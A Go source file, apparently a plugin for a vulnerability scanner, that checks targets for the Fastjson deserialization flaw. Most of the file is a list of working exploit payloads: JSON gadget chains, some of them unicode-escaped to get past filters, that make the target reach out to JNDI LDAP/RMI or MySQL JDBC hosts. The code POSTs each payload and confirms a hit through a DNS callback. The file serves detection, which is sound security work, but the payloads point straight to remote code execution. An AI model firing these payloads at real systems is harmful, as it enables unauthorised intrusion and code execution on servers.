package exploits

import (
	"net/http"
	"prismx_cli/core/models"
	"prismx_cli/utils/netUtils"
	"prismx_cli/utils/reverse"
	"strconv"
	"strings"
	"time"
)

// init 注册插件插件
func init() {
	fastjsonJndiPayloads := []string{
		"{\"name\":{\"\\u0040\\u0074\\u0079\\u0070\\u0065\":\"\\u006a\\u0061\\u0076\\u0061\\u002e\\u006c\\u0061\\u006e\\u0067\\u002e\\u0043\\u006c\\u0061\\u0073\\u0073\",\"\\u0076\\u0061\\u006c\":\"\\u0063\\u006f\\u006d\\u002e\\u0073\\u0075\\u006e\\u002e\\u0072\\u006f\\u0077\\u0073\\u0065\\u0074\\u002e\\u004a\\u0064\\u0062\\u0063\\u0052\\u006f\\u0077\\u0053\\u0065\\u0074\\u0049\\u006d\\u0070\\u006c\"},\"x\":{\"\\u0040\\u0074\\u0079\\u0070\\u0065\":\"\\u0063\\u006f\\u006d\\u002e\\u0073\\u0075\\u006e\\u002e\\u0072\\u006f\\u0077\\u0073\\u0065\\u0074\\u002e\\u004a\\u0064\\u0062\\u0063\\u0052\\u006f\\u0077\\u0053\\u0065\\u0074\\u0049\\u006d\\u0070\\u006c\",\"\\u0064\\u0061\\u0074\\u0061\\u0053\\u006f\\u0075\\u0072\\u0063\\u0065\\u004e\\u0061\\u006d\\u0065\":\"ldap://dnslog-url/v1\",\"autoCommit\":true}}",
		"{\"name\":{\"\\u0040\\u0074\\u0079\\u0070\\u0065\":\"\\u006a\\u0061\\u0076\\u0061\\u002e\\u006c\\u0061\\u006e\\u0067\\u002e\\u0043\\u006c\\u0061\\u0073\\u0073\",\"\\u0076\\u0061\\u006c\":\"\\u0063\\u006f\\u006d\\u002e\\u0073\\u0075\\u006e\\u002e\\u0072\\u006f\\u0077\\u0073\\u0065\\u0074\\u002e\\u004a\\u0064\\u0062\\u0063\\u0052\\u006f\\u0077\\u0053\\u0065\\u0074\\u0049\\u006d\\u0070\\u006c\"},\"x\":{\"\\u0040\\u0074\\u0079\\u0070\\u0065\":\"\\u0063\\u006f\\u006d\\u002e\\u0073\\u0075\\u006e\\u002e\\u0072\\u006f\\u0077\\u0073\\u0065\\u0074\\u002e\\u004a\\u0064\\u0062\\u0063\\u0052\\u006f\\u0077\\u0053\\u0065\\u0074\\u0049\\u006d\\u0070\\u006c\",\"\\u0064\\u0061\\u0074\\u0061\\u0053\\u006f\\u0075\\u0072\\u0063\\u0065\\u004e\\u0061\\u006d\\u0065\":\"rmi://dnslog-url/go-ora\",\"autoCommit\":true}}",
		"{\"b\":{\"\\u0040\\u0074\\u0079\\u0070\\u0065\":\"\\u0063\\u006f\\u006d\\u002e\\u0073\\u0075\\u006e\\u002e\\u0072\\u006f\\u0077\\u0073\\u0065\\u0074\\u002e\\u004a\\u0064\\u0062\\u0063\\u0052\\u006f\\u0077\\u0053\\u0065\\u0074\\u0049\\u006d\\u0070\\u006c\",\"\\u0064\\u0061\\u0074\\u0061\\u0053\\u006f\\u0075\\u0072\\u0063\\u0065\\u004e\\u0061\\u006d\\u0065\":\"ldap://dnslog-url/v3\",\"autoCommit\":true}}",
		"{\"b\":{\"\\u0040\\u0074\\u0079\\u0070\\u0065\":\"\\u0063\\u006f\\u006d\\u002e\\u0073\\u0075\\u006e\\u002e\\u0072\\u006f\\u0077\\u0073\\u0065\\u0074\\u002e\\u004a\\u0064\\u0062\\u0063\\u0052\\u006f\\u0077\\u0053\\u0065\\u0074\\u0049\\u006d\\u0070\\u006c\",\"\\u0064\\u0061\\u0074\\u0061\\u0053\\u006f\\u0075\\u0072\\u0063\\u0065\\u004e\\u0061\\u006d\\u0065\":\"rmi://dnslog-url/v4\",\"autoCommit\":true}}",
		"{\"x\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"com.mysql.jdbc.JDBC4Connection\",\"hostToConnectTo\":\"dnslog-url\",\"portToConnectTo\":80,\"info\":{\"user\":\"root\",\"password\":\"ubuntu\",\"useSSL\":\"false\",\"statementInterceptors\":\"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\",\"autoDeserialize\":\"true\"},\"databaseToConnectTo\":\"mysql\",\"url\":\"jdbc:mysql://dnslog-url/foo?allowLoadLocalInfile=true\"}}",
		"{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection\",\"proxy\":{\"connectionString\":{\"url\":\"jdbc:mysql://dnslog-url/foo?allowLoadLocalInfile=true\"}}}",
		"{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection\",\"proxy\":{\"@type\":\"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy\",\"connectionUrl\":{\"@type\":\"com.mysql.cj.conf.url.ReplicationConnectionUrl\", \"masters\":[{\"host\":\"dnslog-url\"}], \"slaves\":[],\"properties\":{\"host\":\"mysql.host\",\"user\":\"root\",\"dbname\":\"dbname\",\"password\":\"pass\",\"queryInterceptors\":\"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor\",\"autoDeserialize\":\"true\"}}}}",
		"{\"dataSourceName\":\"ldap://dnslog-url/miao\",\"autoCommit\":true}",
		"{\"abc\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.BOMInputStream\",\"delegate\":{\"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\"reader\":{\"@type\":\"jdk.nashorn.api.scripting.URLReader\",\"url\":\"http://dnslog-url\"},\"charsetName\":\"UTF-8\",\"bufferSize\":1024},\"boms\":[{\"@type\":\"org.apache.commons.io.ByteOrderMark\",\"charsetName\":\"UTF-8\",\"bytes\":[114]}]},\"address\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\"charSequence\":{\"@type\":\"java.lang.String\"{\"$ref\":\"$.abc.BOM[0]\"},\"start\":0,\"end\":0}}",
		"{\"abc\": {\"@type\": \"java.lang.AutoCloseable\"{\"@type\": \"org.apache.xbean.propertyeditor.PropertyEditorRegistry\",\"registry\":{{\"a\": 1}: {\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"asText\":\"rmi://dnslog-url\"}}}}}",
		"{\"abc\": {\"@type\": \"java.lang.AutoCloseable\"{\"@type\": \"org.apache.xbean.propertyeditor.PropertyEditorRegistry\",\"registry\":{{\"a\": 1}: {\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"asText\":\"ldap://dnslog-url\"}}}}}",
		"{\n  \"rand1\": {\n    \"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\n    \"dataSourceName\": \"rmi://dnslog-url\",\n    \"autoCommit\": true\n  }\n}",
		"{\n  \"rand1\": {\n    \"@type\": \"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\n    \"properties\": {\n      \"data_source\": \"rmi://dnslog-url\"\n    }\n  }\n}",
		"{\n  \"rand1\": {\n    \"@type\": \"org.springframework.beans.factory.config.PropertyPathFactoryBean\",\n    \"targetBeanName\": \"ldap://dnslog-url/Object\",\n    \"propertyPath\": \"foo\",\n    \"beanFactory\": {\n      \"@type\": \"org.springframework.jndi.support.SimpleJndiBeanFactory\",\n      \"shareableResources\": [\n        \"ldap://dnslog-url/Object\"\n      ]\n    }\n  }\n}",
		"{\n  \"rand1\": Set[\n  {\n    \"@type\": \"org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor\",\n    \"beanFactory\": {\n      \"@type\": \"org.springframework.jndi.support.SimpleJndiBeanFactory\",\n      \"shareableResources\": [\n        \"ldap://localhost:1389/obj\"\n      ]\n    },\n    \"adviceBeanName\": \"ldap://dnslog-url/obj\"\n  },\n  {\n    \"@type\": \"org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor\"\n  }\n]}",
		"{\n  \"rand1\": {\n    \"@type\": \"com.mchange.go-ora.c3p0.JndiRefForwardingDataSource\",\n    \"jndiName\": \"ldap://dnslog-url/Object\",\n    \"loginTimeout\": 0\n  }\n}\n",
		"{\n    \"a\":{\n        \"@type\":\"java.lang.Class\",\n        \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n    },\n    \"b\":{\n        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n        \"dataSourceName\":\"rmi://dnslog-url\",\n        \"autoCommit\":true\n    }\n}",
	}

	models.Register(models.AppVulInfo{
		App:   "FastJson",
		Query: "protocol:\"http\"",
		Meta: models.VulMeta{
			Name:        "Fastjson Deserialization Vulnerability",
			Tags:        []string{"RCE"},
			Author:      "一曲成殇",
			Description: "Fastjson 是阿里巴巴公司开源的一款 json 解析器，其性能优越，被广泛应用于各大厂商的 Java 项目中。fastjson 于1.2.24版本后增加了反序列化白名单，而在1.2.48以前的版本中，攻击者可以利用特殊构造的 json 字符串绕过白名单检测，成功执行任意命令。.",
			Homepage:    "https://github.com/alibaba/fastjson/",
			Level:       4,
			References:  "http://t.zoukankan.com/w0x68y-p-14196561.html",
			Solution:    "升级至安全版本（FASTJSON 1.2.83）",
			CreateAt:    "2022-2-07",
			Available:   false,
			Steps: models.StepsMeta{VerifySteps: models.VerifySteps{VerifyGo: func(scheme, ip string, port int, duration time.Duration) (result models.VulResult) {

				//创建计时器，用来处理多线程超时问题
				ticker := time.NewTicker(duration + (10 * time.Second))
				defer ticker.Stop()

				//拼接得到地址，如：https://prismx.io:443
				url := scheme + "://" + ip + ":" + strconv.Itoa(port)

				//创建通道，用来接收多线程扫描结果
				var resultChan = make(chan map[string]string)
				//遍历打入payload
				for _, payload := range fastjsonJndiPayloads {
					//获取一个反连地址，然后替换到payload中的占位符
					resolveUrl := reverse.GetResolveUrl()
					//创建请求
					req, _ := http.NewRequest("POST", url, strings.NewReader(strings.ReplaceAll(payload, "dnslog-url", resolveUrl)))
					//设置请求类型
					req.Header.Set("Content-Type", "application/json")
					//发送请求，获取response
					resp, err := netUtils.SendHttp(req, duration, true)
					if err != nil {
						continue
					}
					resp.Other.Body.Close()
					//异步监听
					go func(req, resp, r string) {
						if reverse.CheckResolveState("dns", r, duration+(10*time.Second)) {
							resultChan <- map[string]string{req: resp}
						}
					}(resp.RequestRaw, resp.Header+string(resp.Body), resolveUrl)
				}

				select {
				case res := <-resultChan:
					result.State = true
					for req, resp := range res {
						result.Request = req
						result.Response = resp
						break
					}
					return
				case <-ticker.C:
					result.Response = "not found"
					return
				}
			}}},
		},
	})
}
